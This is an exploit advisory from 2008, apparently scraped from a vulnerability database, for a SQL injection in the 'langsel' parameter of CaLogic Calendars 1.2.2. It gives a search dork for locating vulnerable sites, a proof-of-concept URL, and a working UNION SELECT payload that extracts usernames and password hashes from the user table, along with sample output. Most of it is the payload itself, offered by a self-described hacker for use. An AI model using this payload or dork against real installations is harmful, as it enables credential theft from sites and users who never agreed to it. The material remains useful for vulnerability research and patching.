CaLogic Calendars 1.2.2 (langsel) Remote SQL Injection Vulnerability

🗓️ 15 May 2008 00:00:00Reported by RootType

CaLogic Calendars 1.2.2 Remote SQL Injection Vulnerability informatio


                                                /---------------------------------------------------------------\
\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;				/
/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CaLogic&nbsp;Calendars&nbsp;V1.2.2&nbsp;&nbsp;Remote&nbsp;SQL&nbsp;injection&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\
\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;				/
\---------------------------------------------------------------/


[*]&nbsp;Author&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;His0k4&nbsp;[ALGERIAN&nbsp;HaCkEr]

[*]&nbsp;Dork&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&quot;CaLogic&nbsp;Calendars&nbsp;V1.2.2&quot;

[*]&nbsp;POC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://localhost/[SCRIPT_PATH]/userreg.php?langsel={SQL}

[*]&nbsp;Example&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://localhost/[SCRIPT_PATH]/userreg.php?langsel=1&nbsp;and&nbsp;1=0&nbsp;UNION&nbsp;SELECT&nbsp;concat(uname,0x3a,pw)&nbsp;FROM&nbsp;clc_user_reg&nbsp;where&nbsp;uid=CHAR(49)--

[*]&nbsp;Note&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;You&nbsp;can&nbsp;see&nbsp;the&nbsp;results&nbsp;(user&nbsp;name&nbsp;&amp;&nbsp;password)&nbsp;in&nbsp;&quot;SQL&nbsp;String&quot;&nbsp;line&nbsp;for&nbsp;example&nbsp;{SQL&nbsp;String:&nbsp;select&nbsp;*&nbsp;from&nbsp;clc_lang_admin:21232f297a57a5a743894a0e4a801fc3&nbsp;where&nbsp;keyid='urth'}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
----------------------------------------------------------------------------
[*]&nbsp;Greetings&nbsp;:&nbsp;Str0ke,&nbsp;all&nbsp;friends&nbsp;&amp;&nbsp;muslims&nbsp;HaCkeRs...

15 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1